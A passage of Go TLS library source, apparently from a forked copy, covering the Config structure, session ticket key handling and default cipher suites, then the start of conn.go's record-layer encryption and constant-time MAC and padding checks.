1.2. PKCS1WithSHA1 SignatureScheme = 0x0201 ECDSAWithSHA1 SignatureScheme = 0x0203 ) // ClientHelloInfo contains information from a ClientHello message in order to // guide application logic in the GetCertificate and GetConfigForClient callbacks. type ClientHelloInfo struct { // CipherSuites lists the CipherSuites supported by the client (e.g. // TLS_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256). CipherSuites []uint16 // ServerName indicates the name of the server requested by the client // in order to support virtual hosting. ServerName is only set if the // client is using SNI (see RFC 4366, Section 3.1). ServerName string // SupportedCurves lists the elliptic curves supported by the client. // SupportedCurves is set only if the Supported Elliptic Curves // Extension is being used (see RFC 4492, Section 5.1.1). SupportedCurves []CurveID // SupportedPoints lists the point formats supported by the client. // SupportedPoints is set only if the Supported Point Formats Extension // is being used (see RFC 4492, Section 5.1.2). SupportedPoints []uint8 // SignatureSchemes lists the signature and hash schemes that the client // is willing to verify. SignatureSchemes is set only if the Signature // Algorithms Extension is being used (see RFC 5246, Section 7.4.1.4.1). SignatureSchemes []SignatureScheme // SupportedProtos lists the application protocols supported by the client. // SupportedProtos is set only if the Application-Layer Protocol // Negotiation Extension is being used (see RFC 7301, Section 3.1). // // Servers can select a protocol by setting Config.NextProtos in a // GetConfigForClient return value. SupportedProtos []string // SupportedVersions lists the TLS versions supported by the client. // For TLS versions less than 1.3, this is extrapolated from the max // version advertised by the client, so values other than the greatest // might be rejected if used. SupportedVersions []uint16 // Conn is the underlying net.Conn for the connection. Do not read // from, or write to, this connection; that will cause the TLS // connection to fail. Conn net.Conn // config is embedded by the GetCertificate or GetConfigForClient caller, // for use with SupportsCertificate. config *Config } // CertificateRequestInfo contains information from a server's // CertificateRequest message, which is used to demand a certificate and proof // of control from a client. type CertificateRequestInfo struct { // AcceptableCAs contains zero or more, DER-encoded, X.501 // Distinguished Names. These are the names of root or intermediate CAs // that the server wishes the returned certificate to be signed by. An // empty slice indicates that the server has no preference. AcceptableCAs [][]byte // SignatureSchemes lists the signature schemes that the server is // willing to verify. SignatureSchemes []SignatureScheme // Version is the TLS version that was negotiated for this connection. Version uint16 } // RenegotiationSupport enumerates the different levels of support for TLS // renegotiation. TLS renegotiation is the act of performing subsequent // handshakes on a connection after the first. This significantly complicates // the state machine and has been the source of numerous, subtle security // issues. Initiating a renegotiation is not supported, but support for // accepting renegotiation requests may be enabled. // // Even when enabled, the server may not change its identity between handshakes // (i.e. the leaf certificate must be the same). Additionally, concurrent // handshake and application data flow is not permitted so renegotiation can // only be used with protocols that synchronise with the renegotiation, such as // HTTPS. // // Renegotiation is not defined in TLS 1.3. type RenegotiationSupport int const ( // RenegotiateNever disables renegotiation. RenegotiateNever RenegotiationSupport = iota // RenegotiateOnceAsClient allows a remote server to request // renegotiation once per connection. RenegotiateOnceAsClient // RenegotiateFreelyAsClient allows a remote server to repeatedly // request renegotiation. RenegotiateFreelyAsClient ) // A Config structure is used to configure a TLS client or server. // After one has been passed to a TLS function it must not be // modified. A Config may be reused; the tls package will also not // modify it. type Config struct { // Rand provides the source of entropy for nonces and RSA blinding. // If Rand is nil, TLS uses the cryptographic random reader in package // crypto/rand. // The Reader must be safe for use by multiple goroutines. Rand io.Reader // Time returns the current time as the number of seconds since the epoch. // If Time is nil, TLS uses time.Now. Time func() time.Time // Certificates contains one or more certificate chains to present to the // other side of the connection. The first certificate compatible with the // peer's requirements is selected automatically. // // Server configurations must set one of Certificates, GetCertificate or // GetConfigForClient. Clients doing client-authentication may set either // Certificates or GetClientCertificate. // // Note: if there are multiple Certificates, and they don't have the // optional field Leaf set, certificate selection will incur a significant // per-handshake performance cost. Certificates []Certificate // GetCertificate returns a Certificate based on the given // ClientHelloInfo. It will only be called if the client supplies SNI // information or if Certificates is empty. // // If GetCertificate is nil or returns nil, then the certificate is // retrieved from NameToCertificate. If NameToCertificate is nil, the // best element of Certificates will be used. GetCertificate func(*ClientHelloInfo) (*Certificate, error) // GetClientCertificate, if not nil, is called when a server requests a // certificate from a client. If set, the contents of Certificates will // be ignored. // // If GetClientCertificate returns an error, the handshake will be // aborted and that error will be returned. Otherwise // GetClientCertificate must return a non-nil Certificate. If // Certificate.Certificate is empty then no certificate will be sent to // the server. If this is unacceptable to the server then it may abort // the handshake. // // GetClientCertificate may be called multiple times for the same // connection if renegotiation occurs or if TLS 1.3 is in use. GetClientCertificate func(*CertificateRequestInfo) (*Certificate, error) // GetConfigForClient, if not nil, is called after a ClientHello is // received from a client. It may return a non-nil Config in order to // change the Config that will be used to handle this connection. If // the returned Config is nil, the original Config will be used. The // Config returned by this callback may not be subsequently modified. // // If GetConfigForClient is nil, the Config passed to Server() will be // used for all connections. // // Uniquely for the fields in the returned Config, session ticket keys // will be duplicated from the original Config if not set. // Specifically, if SetSessionTicketKeys was called on the original // config but not on the returned config then the ticket keys from the // original config will be copied into the new config before use. // Otherwise, if SessionTicketKey was set in the original config but // not in the returned config then it will be copied into the returned // config before use. If neither of those cases applies then the key // material from the returned config will be used for session tickets. GetConfigForClient func(*ClientHelloInfo) (*Config, error) // RootCAs defines the set of root certificate authorities // that clients use when verifying server certificates. // If RootCAs is nil, TLS uses the host's root CA set. RootCAs *x509.CertPool // NextProtos is a list of supported application level protocols, in // order of preference. NextProtos []string // ServerName is used to verify the hostname on the returned // certificates unless InsecureSkipVerify is given. It is also included // in the client's handshake to support virtual hosting unless it is // an IP address. ServerName string // ClientCAs defines the set of root certificate authorities // that servers use if required to verify a client certificate // by the policy in ClientAuth. ClientCAs *x509.CertPool // InsecureSkipVerify controls whether a client verifies the // server's certificate chain and host name. // If InsecureSkipVerify is true, TLS accepts any certificate // presented by the server and any host name in that certificate. // In this mode, TLS is susceptible to man-in-the-middle attacks. // This should be used only for testing. InsecureSkipVerify bool // CipherSuites is a list of supported cipher suites for TLS versions up to // TLS 1.2. If CipherSuites is nil, a default list of secure cipher suites // is used, with a preference order based on hardware performance. The // default cipher suites might change over Go versions. Note that TLS 1.3 // ciphersuites are not configurable. CipherSuites []uint16 // PreferServerCipherSuites controls whether the server selects the // client's most preferred ciphersuite, or the server's most preferred // ciphersuite. If true then the server's preference, as expressed in // the order of elements in CipherSuites, is used. PreferServerCipherSuites bool // SessionTicketsDisabled may be set to true to disable session ticket and // PSK (resumption) support. Note that on clients, session ticket support is // also disabled if ClientSessionCache is nil. SessionTicketsDisabled bool // SessionTicketKey is used by TLS servers to provide session resumption. // See RFC 5077 and the PSK mode of RFC 8446. If zero, it will be filled // with random data before the first server handshake. // // If multiple servers are terminating connections for the same host // they should all have the same SessionTicketKey. If the // SessionTicketKey leaks, previously recorded and future TLS // connections using that key might be compromised. SessionTicketKey [32]byte // ClientSessionCache is a cache of ClientSessionState entries for TLS // session resumption. It is only used by clients. ClientSessionCache ClientSessionCache // MinVersion contains the minimum TLS version that is acceptable. // If zero, TLS 1.0 is currently taken as the minimum. MinVersion uint16 // MaxVersion contains the maximum TLS version that is acceptable. // If zero, the maximum version supported by this package is used, // which is currently TLS 1.3. MaxVersion uint16 // CurvePreferences contains the elliptic curves that will be used in // an ECDHE handshake, in preference order. If empty, the default will // be used. The client will use the first preference as the type for // its key share in TLS 1.3. This may change in the future. CurvePreferences []CurveID // DynamicRecordSizingDisabled disables adaptive sizing of TLS records. // When true, the largest possible TLS record size is always used. When // false, the size of TLS records may be adjusted in an attempt to // improve latency. DynamicRecordSizingDisabled bool // Renegotiation controls what types of renegotiation are supported. // The default, none, is correct for the vast majority of applications. Renegotiation RenegotiationSupport // KeyLogWriter optionally specifies a destination for TLS master secrets // in NSS key log format that can be used to allow external programs // such as Wireshark to decrypt TLS connections. // See https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format. // Use of KeyLogWriter compromises security and should only be // used for debugging. KeyLogWriter io.Writer serverInitOnce sync.Once // guards calling (*Config).serverInit // mutex protects sessionTicketKeys. mutex sync.RWMutex // sessionTicketKeys contains zero or more ticket keys. If the length // is zero, SessionTicketsDisabled must be true. The first key is used // for new tickets and any subsequent keys can be used to decrypt old // tickets. sessionTicketKeys []ticketKey } // ticketKeyNameLen is the number of bytes of identifier that is prepended to // an encrypted session ticket in order to identify the key used to encrypt it. const ticketKeyNameLen = 16 // ticketKey is the internal representation of a session ticket key. type ticketKey struct { // keyName is an opaque byte string that serves to identify the session // ticket key. It's exposed as plaintext in every session ticket. keyName [ticketKeyNameLen]byte aesKey [16]byte hmacKey [16]byte } // ticketKeyFromBytes converts from the external representation of a session // ticket key to a ticketKey. Externally, session ticket keys are 32 random // bytes and this function expands that into sufficient name and key material. func ticketKeyFromBytes(b [32]byte) (key ticketKey) { hashed := sha512.Sum512(b[:]) copy(key.keyName[:], hashed[:ticketKeyNameLen]) copy(key.aesKey[:], hashed[ticketKeyNameLen:ticketKeyNameLen+16]) copy(key.hmacKey[:], hashed[ticketKeyNameLen+16:ticketKeyNameLen+32]) return key } // Clone returns a shallow clone of c. It is safe to clone a Config that is // being used concurrently by a TLS client or server. func (c *Config) Clone() *Config { // Running serverInit ensures that it's safe to read // SessionTicketsDisabled. c.serverInitOnce.Do(func() { c.serverInit(nil) }) var sessionTicketKeys []ticketKey c.mutex.RLock() sessionTicketKeys = c.sessionTicketKeys c.mutex.RUnlock() return &Config{ Rand: c.Rand, Time: c.Time, Certificates: c.Certificates, GetCertificate: c.GetCertificate, GetClientCertificate: c.GetClientCertificate, GetConfigForClient: c.GetConfigForClient, RootCAs: c.RootCAs, NextProtos: c.NextProtos, ServerName: c.ServerName, ClientCAs: c.ClientCAs, InsecureSkipVerify: c.InsecureSkipVerify, CipherSuites: c.CipherSuites, PreferServerCipherSuites: c.PreferServerCipherSuites, SessionTicketsDisabled: c.SessionTicketsDisabled, SessionTicketKey: c.SessionTicketKey, ClientSessionCache: c.ClientSessionCache, MinVersion: c.MinVersion, MaxVersion: c.MaxVersion, CurvePreferences: c.CurvePreferences, DynamicRecordSizingDisabled: c.DynamicRecordSizingDisabled, Renegotiation: c.Renegotiation, KeyLogWriter: c.KeyLogWriter, sessionTicketKeys: sessionTicketKeys, } } // serverInit is run under c.serverInitOnce to do initialization of c. If c was // returned by a GetConfigForClient callback then the argument should be the // Config that was passed to Server, otherwise it should be nil. func (c *Config) serverInit(originalConfig *Config) { if c.SessionTicketsDisabled || len(c.ticketKeys()) != 0 { return } alreadySet := false for _, b := range c.SessionTicketKey { if b != 0 { alreadySet = true break } } if !alreadySet { if originalConfig != nil { copy(c.SessionTicketKey[:], originalConfig.SessionTicketKey[:]) } else if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil { c.SessionTicketsDisabled = true return } } if originalConfig != nil { originalConfig.mutex.RLock() c.sessionTicketKeys = originalConfig.sessionTicketKeys originalConfig.mutex.RUnlock() } else { c.sessionTicketKeys = []ticketKey{ticketKeyFromBytes(c.SessionTicketKey)} } } func (c *Config) ticketKeys() []ticketKey { c.mutex.RLock() // c.sessionTicketKeys is constant once created. SetSessionTicketKeys // will only update it by replacing it with a new value. ret := c.sessionTicketKeys c.mutex.RUnlock() return ret } // SetSessionTicketKeys updates the session ticket keys for a server. The first // key will be used when creating new tickets, while all keys can be used for // decrypting tickets. It is safe to call this function while the server is // running in order to rotate the session ticket keys. The function will panic // if keys is empty. func (c *Config) SetSessionTicketKeys(keys [][32]byte) { if len(keys) == 0 { panic("tls: keys must have at least one key") } newKeys := make([]ticketKey, len(keys)) for i, bytes := range keys { newKeys[i] = ticketKeyFromBytes(bytes) } c.mutex.Lock() c.sessionTicketKeys = newKeys c.mutex.Unlock() } func (c *Config) rand() io.Reader { r := c.Rand if r == nil { return rand.Reader } return r } func (c *Config) time() time.Time { t := c.Time if t == nil { t = time.Now } return t() } func (c *Config) cipherSuites() []uint16 { s := c.CipherSuites if s == nil { s = defaultCipherSuites() } return s } var supportedVersions = []uint16{ VersionTLS12, VersionTLS11, VersionTLS10, } func (c *Config) supportedVersions() []uint16 { versions := make([]uint16, 0, len(supportedVersions)) for _, v := range supportedVersions { if c != nil && c.MinVersion != 0 && v < c.MinVersion { continue } if c != nil && c.MaxVersion != 0 && v > c.MaxVersion { continue } versions = append(versions, v) } return versions } func (c *Config) maxSupportedVersion() uint16 { supportedVersions := c.supportedVersions() if len(supportedVersions) == 0 { return 0 } return supportedVersions[0] } var defaultCurvePreferences = []CurveID{X25519, CurveP256, CurveP384, CurveP521} func (c *Config) curvePreferences() []CurveID { if c == nil || len(c.CurvePreferences) == 0 { return defaultCurvePreferences } return c.CurvePreferences } func (c *Config) supportsCurve(curve CurveID) bool { for _, cc := range c.curvePreferences() { if cc == curve { return true } } return false } // mutualVersion returns the protocol version to use given the advertised // versions of the peer. Priority is given to the peer preference order. func (c *Config) mutualVersion(peerVersions []uint16) (uint16, bool) { supportedVersions := c.supportedVersions() for _, peerVersion := range peerVersions { for _, v := range supportedVersions { if v == peerVersion { return v, true } } } return 0, false } // SupportsCertificate returns nil if the provided certificate is supported by // the server that sent the CertificateRequest. Otherwise, it returns an error // describing the reason for the incompatibility. func (cri *CertificateRequestInfo) SupportsCertificate(c *Certificate) error { if _, err := selectSignatureScheme(cri.Version, c, cri.SignatureSchemes); err != nil { return err } if len(cri.AcceptableCAs) == 0 { return nil } for j, cert := range c.Certificate { x509Cert := c.Leaf // Parse the certificate if this isn't the leaf node, or if // chain.Leaf was nil. if j != 0 || x509Cert == nil { var err error if x509Cert, err = x509.ParseCertificate(cert); err != nil { return fmt.Errorf("failed to parse certificate #%d in the chain: %w", j, err) } } for _, ca := range cri.AcceptableCAs { if bytes.Equal(x509Cert.RawIssuer, ca) { return nil } } } return errors.New("chain is not signed by an acceptable CA") } const ( keyLogLabelTLS12 = "CLIENT_RANDOM" ) func (c *Config) writeKeyLog(label string, clientRandom, secret []byte) error { if c.KeyLogWriter == nil { return nil } logLine := []byte(fmt.Sprintf("%s %x %x\n", label, clientRandom, secret)) writerMutex.Lock() _, err := c.KeyLogWriter.Write(logLine) writerMutex.Unlock() return err } // writerMutex protects all KeyLogWriters globally. It is rarely enabled, // and is only for debugging, so a global mutex saves space. var writerMutex sync.Mutex // A Certificate is a chain of one or more certificates, leaf first. type Certificate struct { Certificate [][]byte // PrivateKey contains the private key corresponding to the public key in // Leaf. This must implement crypto.Signer with an RSA, ECDSA or Ed25519 PublicKey. // For a server up to TLS 1.2, it can also implement crypto.Decrypter with // an RSA PublicKey. PrivateKey crypto.PrivateKey // SupportedSignatureAlgorithms is an optional list restricting what // signature algorithms the PrivateKey can be used for. SupportedSignatureAlgorithms []SignatureScheme // OCSPStaple contains an optional OCSP response which will be served // to clients that request it. OCSPStaple []byte // SignedCertificateTimestamps contains an optional list of Signed // Certificate Timestamps which will be served to clients that request it. SignedCertificateTimestamps [][]byte // Leaf is the parsed form of the leaf certificate, which may be initialized // using x509.ParseCertificate to reduce per-handshake processing. If nil, // the leaf certificate will be parsed as needed. Leaf *x509.Certificate } // leaf returns the parsed leaf certificate, either from c.Leaf or by parsing // the corresponding c.Certificate[0]. func (c *Certificate) leaf() (*x509.Certificate, error) { if c.Leaf != nil { return c.Leaf, nil } return x509.ParseCertificate(c.Certificate[0]) } type handshakeMessage interface { marshal() []byte unmarshal([]byte) bool } // TODO(jsing): Make these available to both crypto/x509 and crypto/tls. type dsaSignature struct { R, S *big.Int } type ecdsaSignature dsaSignature var emptyConfig Config func defaultConfig() *Config { return &emptyConfig } var ( once sync.Once varDefaultCipherSuites []uint16 ) func defaultCipherSuites() []uint16 { once.Do(initDefaultCipherSuites) return varDefaultCipherSuites } func initDefaultCipherSuites() { var topCipherSuites []uint16 topCipherSuites = []uint16{ TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, } varDefaultCipherSuites = make([]uint16, 0, len(cipherSuites)) varDefaultCipherSuites = append(varDefaultCipherSuites, topCipherSuites...) NextCipherSuite: for _, suite := range cipherSuites { if suite.flags&suiteDefaultOff != 0 { continue } for _, existing := range varDefaultCipherSuites { if existing == suite.id { continue NextCipherSuite } } varDefaultCipherSuites = append(varDefaultCipherSuites, suite.id) } } func unexpectedMessageError(wanted, got interface{}) error { return fmt.Errorf("tls: received unexpected handshake message of type %T when waiting for %T", got, wanted) } func isSupportedSignatureAlgorithm(sigAlg SignatureScheme, supportedSignatureAlgorithms []SignatureScheme) bool { for _, s := range supportedSignatureAlgorithms { if s == sigAlg { return true } } return false } ================================================ FILE: tls/conn.go ================================================ // Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // TLS low level connection and record layer package tls import ( "bytes" "crypto/cipher" "crypto/subtle" "crypto/x509" "errors" "fmt" "io" "net" "sync" "sync/atomic" "time" ) // A Conn represents a secured connection. // It implements the net.Conn interface. type Conn struct { // constant conn net.Conn // handshakeStatus is 1 if the connection is currently transferring // application data (i.e. is not currently processing a handshake). // This field is only to be accessed with sync/atomic. handshakeStatus uint32 // constant after handshake; protected by handshakeMutex handshakeMutex sync.Mutex handshakeErr error // error resulting from handshake vers uint16 // TLS version haveVers bool // version has been negotiated config *Config // configuration passed to constructor // handshakes counts the number of handshakes performed on the // connection so far. If renegotiation is disabled then this is either // zero or one. handshakes int didResume bool // whether this connection was a session resumption cipherSuite uint16 ocspResponse []byte // stapled OCSP response scts [][]byte // signed certificate timestamps from server peerCertificates []*x509.Certificate // verifiedChains contains the certificate chains that we built, as // opposed to the ones presented by the server. verifiedChains [][]*x509.Certificate // serverName contains the server name indicated by the client, if any. serverName string // secureRenegotiation is true if the server echoed the secure // renegotiation extension. (This is meaningless as a server because // renegotiation is not supported in that case.) secureRenegotiation bool // ekm is a closure for exporting keying material. ekm func(label string, context []byte, length int) ([]byte, error) // resumptionSecret is the resumption_master_secret for handling // NewSessionTicket messages. nil if config.SessionTicketsDisabled. resumptionSecret []byte // clientFinishedIsFirst is true if the client sent the first Finished // message during the most recent handshake. This is recorded because // the first transmitted Finished message is the tls-unique // channel-binding value. clientFinishedIsFirst bool // closeNotifyErr is any error from sending the alertCloseNotify record. closeNotifyErr error // closeNotifySent is true if the Conn attempted to send an // alertCloseNotify record. closeNotifySent bool // clientFinished and serverFinished contain the Finished message sent // by the client or server in the most recent handshake. This is // retained to support the renegotiation extension and tls-unique // channel-binding. clientFinished [12]byte serverFinished [12]byte clientProtocol string clientProtocolFallback bool // input/output in, out halfConn rawInput bytes.Buffer // raw input, starting with a record header input bytes.Reader // application data waiting to be read, from rawInput.Next hand bytes.Buffer // handshake data waiting to be read outBuf []byte // scratch buffer used by out.encrypt buffering bool // whether records are buffered in sendBuf sendBuf []byte // a buffer of records waiting to be sent // bytesSent counts the bytes of application data sent. // packetsSent counts packets. bytesSent int64 packetsSent int64 // retryCount counts the number of consecutive non-advancing records // received by Conn.readRecord. That is, records that neither advance the // handshake, nor deliver application data. Protected by in.Mutex. retryCount int // activeCall is an atomic int32; the low bit is whether Close has // been called. the rest of the bits are the number of goroutines // in Conn.Write. activeCall int32 tmp [16]byte } // Access to net.Conn methods. // Cannot just embed net.Conn because that would // export the struct field too. // LocalAddr returns the local network address. func (c *Conn) LocalAddr() net.Addr { return c.conn.LocalAddr() } // RemoteAddr returns the remote network address. func (c *Conn) RemoteAddr() net.Addr { return c.conn.RemoteAddr() } // SetDeadline sets the read and write deadlines associated with the connection. // A zero value for t means Read and Write will not time out. // After a Write has timed out, the TLS state is corrupt and all future writes will return the same error. func (c *Conn) SetDeadline(t time.Time) error { return c.conn.SetDeadline(t) } // SetReadDeadline sets the read deadline on the underlying connection. // A zero value for t means Read will not time out. func (c *Conn) SetReadDeadline(t time.Time) error { return c.conn.SetReadDeadline(t) } // SetWriteDeadline sets the write deadline on the underlying connection. // A zero value for t means Write will not time out. // After a Write has timed out, the TLS state is corrupt and all future writes will return the same error. func (c *Conn) SetWriteDeadline(t time.Time) error { return c.conn.SetWriteDeadline(t) } // A halfConn represents one direction of the record layer // connection, either sending or receiving. type halfConn struct { sync.Mutex err error // first permanent error version uint16 // protocol version cipher interface{} // cipher algorithm mac macFunction seq [8]byte // 64-bit sequence number additionalData [13]byte // to avoid allocs; interface method args escape nextCipher interface{} // next encryption state nextMac macFunction // next MAC algorithm trafficSecret []byte // current TLS 1.3 traffic secret } func (hc *halfConn) setErrorLocked(err error) error { hc.err = err return err } // prepareCipherSpec sets the encryption and MAC states // that a subsequent changeCipherSpec will use. func (hc *halfConn) prepareCipherSpec(version uint16, cipher interface{}, mac macFunction) { hc.version = version hc.nextCipher = cipher hc.nextMac = mac } // changeCipherSpec changes the encryption and MAC states // to the ones previously passed to prepareCipherSpec. func (hc *halfConn) changeCipherSpec() error { if hc.nextCipher == nil { return alertInternalError } hc.cipher = hc.nextCipher hc.mac = hc.nextMac hc.nextCipher = nil hc.nextMac = nil for i := range hc.seq { hc.seq[i] = 0 } return nil } // incSeq increments the sequence number. func (hc *halfConn) incSeq() { for i := 7; i >= 0; i-- { hc.seq[i]++ if hc.seq[i] != 0 { return } } // Not allowed to let sequence number wrap. // Instead, must renegotiate before it does. // Not likely enough to bother. panic("TLS: sequence number wraparound") } // explicitNonceLen returns the number of bytes of explicit nonce or IV included // in each record. Explicit nonces are present only in CBC modes after TLS 1.0 // and in certain AEAD modes in TLS 1.2. func (hc *halfConn) explicitNonceLen() int { if hc.cipher == nil { return 0 } switch c := hc.cipher.(type) { case cipher.Stream: return 0 case aead: return c.explicitNonceLen() case cbcMode: // TLS 1.1 introduced a per-record explicit IV to fix the BEAST attack. if hc.version >= VersionTLS11 { return c.BlockSize() } return 0 default: panic("unknown cipher type") } } // extractPadding returns, in constant time, the length of the padding to remove // from the end of payload. It also returns a byte which is equal to 255 if the // padding was valid and 0 otherwise. See RFC 2246, Section 6.2.3.2. func extractPadding(payload []byte) (toRemove int, good byte) { if len(payload) < 1 { return 0, 0 } paddingLen := payload[len(payload)-1] t := uint(len(payload)-1) - uint(paddingLen) // if len(payload) >= (paddingLen - 1) then the MSB of t is zero good = byte(int32(^t) >> 31) // The maximum possible padding length plus the actual length field toCheck := 256 // The length of the padded data is public, so we can use an if here if toCheck > len(payload) { toCheck = len(payload) } for i := 0; i < toCheck; i++ { t := uint(paddingLen) - uint(i) // if i <= paddingLen then the MSB of t is zero mask := byte(int32(^t) >> 31) b := payload[len(payload)-1-i] good &^= mask&paddingLen ^ mask&b } // We AND together the bits of good and replicate the result across // all the bits. good &= good << 4 good &= good << 2 good &= good << 1 good = uint8(int8(good) >> 7) // Zero the padding length on error. This ensures any unchecked bytes // are included in the MAC. Otherwise, an attacker that could // distinguish MAC failures from padding failures could mount an attack // similar to POODLE in SSL 3.0: given a good ciphertext that uses a // full block's worth of padding, replace the final block with another // block. If the MAC check passed but the padding check failed, the // last byte of that block decrypted to the block size. // // See also macAndPaddingGood logic below. paddingLen &= good toRemove = int(paddingLen) + 1 return } func roundUp(a, b int) int { return a + (b-a%b)%b } // cbcMode is an interface for block ciphers using cipher block chaining. type cbcMode interface { cipher.BlockMode SetIV([]byte) } // decrypt authenticates and decrypts the record if protection is active at // this stage. The returned plaintext might overlap with the input. func (hc *halfConn) decrypt(record []byte) ([]byte, recordType, error) { var plaintext []byte typ := recordType(record[0]) payload := record[recordHeaderLen:] paddingGood := byte(255) paddingLen := 0 explicitNonceLen := hc.explicitNonceLen() if hc.cipher != nil { switch c := hc.cipher.(type) { case cipher.Stream: c.XORKeyStream(payload, payload) case aead: if len(payload) < explicitNonceLen { return nil, 0, alertBadRecordMAC } nonce := payload[:explicitNonceLen] if len(nonce) == 0 { nonce = hc.seq[:] } payload = payload[explicitNonceLen:] additionalData := hc.additionalData[:] copy(additionalData, hc.seq[:]) copy(additionalData[8:], record[:3]) n := len(payload) - c.Overhead() additionalData[11] = byte(n >> 8) additionalData[12] = byte(n) var err error plaintext, err = c.Open(payload[:0], nonce, payload, additionalData) if err != nil { return nil, 0, alertBadRecordMAC } case cbcMode: blockSize := c.BlockSize() minPayload := explicitNonceLen + roundUp(hc.mac.Size()+1, blockSize) if len(payload)%blockSize != 0 || len(payload) < minPayload { return nil, 0, alertBadRecordMAC } if explicitNonceLen > 0 { c.SetIV(payload[:explicitNonceLen]) payload = payload[explicitNonceLen:] } c.CryptBlocks(payload, payload) // In a limited attempt to protect against CBC padding oracles like // Lucky13, the data past paddingLen (which is secret) is passed to // the MAC function as extra data, to be fed into the HMAC after // computing the digest. This makes the MAC roughly constant time as // long as the digest computation is constant time and does not // affect the subsequent write, modulo cache effects. paddingLen, paddingGood = extractPadding(payload) default: panic("unknown cipher type") } } else { plaintext = payload } if hc.mac != nil { macSize := hc.mac.Size() if len(payload) < macSize { return nil, 0, alertBadRecordMAC } n := len(payload) - macSize - paddingLen n = subtle.ConstantTimeSelect(int(uint32(n)>>31), 0, n) // if n < 0 { n = 0 } record[3] = byte(n >> 8) record[4] = byte(n) remoteMAC := payload[n : n+macSize] localMAC := hc.mac.MAC(hc.seq[0:], record[:recordHeaderLen], payload[:n], payload[n+macSize:]) // This is equivalent to checking the MACs and paddingGood // separately, but in constant-time to prevent distinguishing // padding failures from MAC failures. Depending on what value // of paddingLen was returned on bad padding, distinguishing // bad MAC from bad padding can lead to an attack. // // See also the logic at the end of extractPadding. macAndPaddingGood := subtle.ConstantTimeCompare(localMAC, remoteMAC) & int(paddingGood) if macAndPaddingGood != 1 { return nil, 0, alertBadRecordMAC } plaintext = payload[:n] } hc.incSeq() return plaintext, typ, nil } // sliceForAppend extends the input slice by n bytes. head is the full extended // slice, while tail is the appended part. If the original slice has sufficient // capacity no allocation is performed. func sliceForAppend(in []byte, n int) (head, tail []byte) { if total := len(in) + n; cap(in) >= total { head = in[:total] } else { head = make([]byte, total) copy(head, in) } tail = head[len(in):] return } // encrypt encrypts payload, adding the appropriate nonce and/or MAC, and // appends it to record, which contains the record header. func (hc *halfConn) encrypt(record, payload []byte, rand io.Reader) ([]byte, error) { if hc.cipher == nil { return append(record, payload...), nil } var explicitNonce []byte if explicitNonceLen := hc.explicitNonceLen(); explicitNonceLen > 0 { record, explicitNonce = sliceForAppend(record, explicitNonceLen) if _, isCBC := hc.cipher.(cbcMode); !isCBC && explicitNonceLen < 16 { // The AES-GCM construction in TLS has an explicit nonce so that the // nonce can be random. However, the nonce is only 8 bytes which is // too small for a secure, random nonce. Therefore we use the // sequence number as the nonce. The 3DES-CBC construction also has // an 8 bytes nonce but its nonces must be unpredictable (see RFC // 5246, Appendix F.3), forcing us to use randomness. That's not // 3DES' biggest problem anyway because the birthday bound on block // collision is reached first due to its simlarly small block size // (see the Sweet32 attack). copy(explicitNonce, hc.seq[:]) } else { if _, err := io.ReadFull(rand, explicitNonce); err != nil { return nil, err } } } var mac []byte if hc.mac != nil { mac = hc.mac.MAC(hc.seq[:], record[:recordHeaderLen], payload, nil) } var dst []byte switch c := hc.cipher.(type) { case cipher.Stream: record, dst = sliceForAppend(record, len(payload)+len(mac)) c.XORKeyStream(dst[:len(payload)], payload) c.XORKeyStream(dst[len(payload):], mac) case aead: nonce := explicitNonce if len(nonce) == 0 { nonce = hc.seq[:] } copy(hc.additionalData[:], hc.seq[:]) copy(hc.additionalData[8:], record) record = c.Seal(record, nonce, payload, hc.additionalData[:]) case cbcMode: blockSize := c.BlockSize() plaintextLen := len(payload) + len(mac) paddingLen := blockSize - plaintextLen%blockSize record, dst = sliceForAppend(record, plaintextLen+paddingLen) copy(dst, payload) copy(dst[len(payload):], mac) for i := plaintextLen; i < len(dst); i++ { dst[i] = byte(paddingLen - 1) } if len(explicitNonce) > 0 { c.SetIV(explicitNonce) } c.CryptBlocks(dst, dst) default: panic("unknown cipher type") } // Update length to include nonce, MAC and any block padding needed. n := len(record) - recordHeaderLen record[3] = byte(n >> 8) record[4] = byte(n) hc.incSeq() return record, nil } // RecordHeaderError is returned when a TLS record header is invalid. type RecordHeaderError struct { // Msg contains a human readable string that describes the error. Msg string // RecordHeader contains the five bytes of TLS record header that // triggered the error. RecordHeader [5]byte // Conn provides the underlying net.Conn in the case that a client // sent an initial handshake that didn't look like TLS. // It is nil if there's already been a handshake or a TLS alert has // been written to the connection. Conn net.Conn } func (e RecordHeaderError) Error() string { return "tls: " + e.Msg } func (c *Conn) newRecordHeaderError(conn net.Conn, msg string) (err RecordHeaderError) { err.Msg = msg err.Conn = conn copy(err.RecordHeader[:], c.rawInput.Bytes()) return err } func (c *Conn) readRecord() error { return c.readRecordOrCCS(false) } func (c *Conn) readChangeCipherSpec() error { return c.readRecordOrCCS(true) } // readRecordOrCCS reads one or more TLS records from the connection and // updates the record layer state. Some invariants: // * c.in must be locked // * c.input must be empty // During the handshake one and only one of the following will happen: // - c.hand grows // - c.in.changeCipherSpec is called // - an error is returned // After the handshake one and only one of the following will happen: // - c.hand grows // - c.input is set // - an error is returned func (c *Conn) readRecordOrCCS(expectChangeCipherSpec bool) error { if c.in.err != nil { return c.in.err } handshakeComplete := c.handshakeComplete() // This function modifies c.rawInput, which owns the c.input memory. if c.input.Len() != 0 { return c.in.setErrorLocked(errors.New("tls: internal error: attempted to read record with pending application data")) } c.input.Reset(nil) // Read header, payload. if err := c.readFromUntil(c.conn, recordHeaderLen); err != nil { // RFC 8446, Section 6.1 suggests that EOF without an alertCloseNotify // is an error, but popular web sites seem to do this, so we accept it // if and only if at the record boundary. if err == io.ErrUnexpectedEOF && c.rawInput.Len() == 0 { err = io.EOF } if e, ok := err.(net.Error); !ok || !e.Temporary() { c.in.setErrorLocked(err) } return err } hdr := 